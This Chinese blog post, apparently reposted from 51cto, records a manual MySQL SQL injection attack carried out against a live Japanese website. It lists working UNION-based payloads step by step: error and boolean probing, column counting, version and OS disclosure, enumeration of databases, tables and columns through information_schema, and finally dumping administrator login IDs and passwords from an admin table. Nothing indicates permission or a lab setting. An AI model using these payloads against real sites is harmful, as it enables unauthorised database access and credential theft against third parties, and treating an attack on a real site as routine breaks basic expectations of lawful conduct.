MySQL手工注入实战

ゞ浴缸里的玫瑰 2021-09-20 03:48 495阅读 0赞

实战记录，日本某站

**注入点 and 语句测试**

**and1=1 返回正常，and=2****跳回首页，可能过滤了**

![wKioL1ltZk3hSd-nAAN4CoUQv1I730.png-wh\_50][wKioL1ltZk3hSd-nAAN4CoUQv1I730.png-wh_50]

![wKioL1ltZk\_j4iN6AAFs6JV5cXw757.png-wh\_50][wKioL1ltZk_j4iN6AAFs6JV5cXw757.png-wh_50]

**用 ’ 测试返回错误页面**

**判断为注入点**

![wKiom1ltZlHTf4VZAADYas1rRuc350.png-wh\_50][wKiom1ltZlHTf4VZAADYas1rRuc350.png-wh_50]

**order by语句查询字段数**

[![wKiom1ltZ6-iOcGdAAFuwHCurns338.png-wh\_50][wKiom1ltZ6-iOcGdAAFuwHCurns338.png-wh_50]  
][wKiom1ltZ6-iOcGdAAFuwHCurns338.png-wh_50]

[![wKioL1ltZ7KxO4PyAADhCX1M1z8149.png-wh\_50][wKioL1ltZ7KxO4PyAADhCX1M1z8149.png-wh_50]][wKioL1ltZ7KxO4PyAADhCX1M1z8149.png-wh_50]

**测试字段数为9**

[![wKiom1ltaJLzMUncAAF3ymhdyZw657.png-wh\_50][wKiom1ltaJLzMUncAAF3ymhdyZw657.png-wh_50]][wKiom1ltaJLzMUncAAF3ymhdyZw657.png-wh_50]

**and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9**

**报错联合查询语句，查询显示位**

**2、3为显示位**

[![wKioL1ltaP-ByAh8AAEvb9Kk5VE997.png-wh\_50][wKioL1ltaP-ByAh8AAEvb9Kk5VE997.png-wh_50]][wKioL1ltaP-ByAh8AAEvb9Kk5VE997.png-wh_50]

使用注入函数可爆出数据库版本信息

[![wKiom1ltakKgOvLyAAEsbpbGlNw781.png-wh\_50][wKiom1ltakKgOvLyAAEsbpbGlNw781.png-wh_50]][wKiom1ltakKgOvLyAAEsbpbGlNw781.png-wh_50]

**and 1=2 UNION SELECT 1,**@@version\_compile\_os,**3,4,5,6,7,8,9**

**注入函数**@@version\_compile\_os**爆出操作系统**

[![wKioL1ltbL6higBxAADSX-WMFZc208.png-wh\_50][wKioL1ltbL6higBxAADSX-WMFZc208.png-wh_50]][wKioL1ltbL6higBxAADSX-WMFZc208.png-wh_50]

**and 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9**

**用注入函数database()爆出当前库**

[![wKioL1ltbhiwoG-qAADwEPQGh0M964.png-wh\_50][wKioL1ltbhiwoG-qAADwEPQGh0M964.png-wh_50]][wKioL1ltbhiwoG-qAADwEPQGh0M964.png-wh_50]

**Mysql 5 以上有内置库 information\_schema，存储着mysql的所有数据库和表结构信息**

**and1=2 union select 1,SCHEMA\_NAME,3,4,5,6,7,8,9 from information\_schema.SCHEMATA limit 0,1**

![wKioL1ltdkmTzuoYAAF85TGz8Lw035.png-wh\_50][wKioL1ltdkmTzuoYAAF85TGz8Lw035.png-wh_50]

**库1<****information\_schema****>**

**爆出第二个数据库，limit1,1即可**

**发现第二个数据库就是当前库**

![wKiom1ltdkzglFCWAAHuVZt0ZRE405.png-wh\_50][wKiom1ltdkzglFCWAAHuVZt0ZRE405.png-wh_50]

**库2<****henecia****>**

**and 1=2 union select 1,TABLE\_NAME,3,4,5,6,7,8,9from information\_schema.TABLES where TABLE\_SCHEMA=（库2名字16进制）limit 0,1**

**爆第一个表名，数据库名要转换为16进制**

![wKiom1lth\_uTkw1zAAGjyROiBV0665.png-wh\_50][wKiom1lth_uTkw1zAAGjyROiBV0665.png-wh_50]

**表1 <TM\_ADMIN\_MEMBER>敏感表**

**改为limit 1,1可爆第二个表名**

![wKiom1ltiEbxFfLuAACQ93T7INI485.png-wh\_50][wKiom1ltiEbxFfLuAACQ93T7INI485.png-wh_50]

**表2<****TM\_BANNER\_MASTER****>**

**and 1=2 union select 1,group\_concat(TABLE\_NAME),3,4,5,6,7,8,9 from information\_schema.TABLES where TABLE\_SCHEMA=0x68656E65636961 limit 0,1**

**使用group\_concat(table\_name)可以一次爆出全部表名**

![wKioL1ltflLiU5LGAAGo434Rh9w648.png-wh\_50][wKioL1ltflLiU5LGAAGo434Rh9w648.png-wh_50]

**已得到敏感表名TM\_ADMIN\_MEMBER，接下来爆字段**

**表名要转换为16进制**

**and 1=2 union select 1,COLUMN\_NAME,3,4,5,6,7,8,9 from information\_schema.COLUMNS where TABLE\_NAME=<转换为16进制的表名> limit 0,1**

![wKiom1ltdlGjhMmHAADNlwFsFRA628.png-wh\_50][wKiom1ltdlGjhMmHAADNlwFsFRA628.png-wh_50]

**推荐使用这种方法**

**and 1=2 union select 1,group\_concat(COLUMN\_NAME),3,4,5,6,7,8,9 from information\_schema.COLUMNS where TABLE\_NAME=<转换为16进制的表名> limit 0,1**

**\#COLUMN  翻译为  列**

**用 group\_concat(COLUMN\_NAME)函数可以一次爆出全部字段**

**或者可以修改limit 1,1、limit 2,1.......来一个一个爆出**

[![wKiom1ltiL\_CL5gLAADorGzy2I8469.png-wh\_50][wKiom1ltiL_CL5gLAADorGzy2I8469.png-wh_50]][wKiom1ltiL_CL5gLAADorGzy2I8469.png-wh_50]

**敏感字段<admin\_id、login\_id、login\_pwd>**

**有敏感表名，敏感字段名后就获取内容**

**经测试login\_uid字段存放的是用户名**

**login\_pwd存放的是密码**

**and 1=2 union select 1,login\_uid,login\_pwd,4,5,6,7,8,9 from 表名**

[![wKiom1lthRDzL3l1AACdOsgD95M455.png-wh\_50][wKiom1lthRDzL3l1AACdOsgD95M455.png-wh_50]][wKiom1lthRDzL3l1AACdOsgD95M455.png-wh_50]

接下来的自行脑补.......[![t\_0005.gif][t_0005.gif]][t_0005.gif]

欢迎各位大神指点批评！

晨风

转载于:https://blog.51cto.com/10924757/1948524

[wKioL1ltZk3hSd-nAAN4CoUQv1I730.png-wh_50]: https://s1.51cto.com/wyfs02/M02/9C/2E/wKioL1ltZk3hSd-nAAN4CoUQv1I730.png-wh_500x0-wm_3-wmp_4-s_2646459848.png
[wKioL1ltZk_j4iN6AAFs6JV5cXw757.png-wh_50]: /images/20210726/fe1bf7d9d1e948d2ad89c1db3edb1927.png
[wKiom1ltZlHTf4VZAADYas1rRuc350.png-wh_50]: /images/20210726/fdb736b7405a43e0a70ec3b5f28b52c8.png
[wKiom1ltZ6-iOcGdAAFuwHCurns338.png-wh_50]: /images/20210726/c1e23dde0b32438b96f30206b7949fb3.png
[wKioL1ltZ7KxO4PyAADhCX1M1z8149.png-wh_50]: /images/20210726/5427565557a2498ba2a7387be220534b.png
[wKiom1ltaJLzMUncAAF3ymhdyZw657.png-wh_50]: /images/20210726/dc810112155947919b4ef0fd7b4ccc6e.png
[wKioL1ltaP-ByAh8AAEvb9Kk5VE997.png-wh_50]: /images/20210726/c2bdf621bbc4421a98683951d31f7261.png
[wKiom1ltakKgOvLyAAEsbpbGlNw781.png-wh_50]: /images/20210726/c70ae88db1a646c49f08c52a3420dc0d.png
[wKioL1ltbL6higBxAADSX-WMFZc208.png-wh_50]: /images/20210726/cc8d83f914c04c2d9c1083787c6afbb6.png
[wKioL1ltbhiwoG-qAADwEPQGh0M964.png-wh_50]: /images/20210726/946678f4897e4d79b06dbee52a1f32c5.png
[wKioL1ltdkmTzuoYAAF85TGz8Lw035.png-wh_50]: /images/20210726/a105b3bfceb44f959d0a75090df1c99a.png
[wKiom1ltdkzglFCWAAHuVZt0ZRE405.png-wh_50]: /images/20210726/93e84e1499734a9aaf3fe9a3bac8dd0e.png
[wKiom1lth_uTkw1zAAGjyROiBV0665.png-wh_50]: /images/20210726/d9adaf10eb9749c7bd78b28312bdf335.png
[wKiom1ltiEbxFfLuAACQ93T7INI485.png-wh_50]: /images/20210726/22f1f2fa640c4d5c84f90a9614dd722e.png
[wKioL1ltflLiU5LGAAGo434Rh9w648.png-wh_50]: /images/20210726/4f28fa6f770244ddaf923031df74664f.png
[wKiom1ltdlGjhMmHAADNlwFsFRA628.png-wh_50]: /images/20210726/5e0765ec1a28402c8ffb83104dedc4c6.png
[wKiom1ltiL_CL5gLAADorGzy2I8469.png-wh_50]: /images/20210726/c82ee60270a543f7a9ac6fa3bff136fc.png
[wKiom1lthRDzL3l1AACdOsgD95M455.png-wh_50]: /images/20210726/a1470dd265be47ac9045af82dcdeeefb.png
[t_0005.gif]: /images/20210726/b456eb53030444a2ae6c6774e1e90ed2.png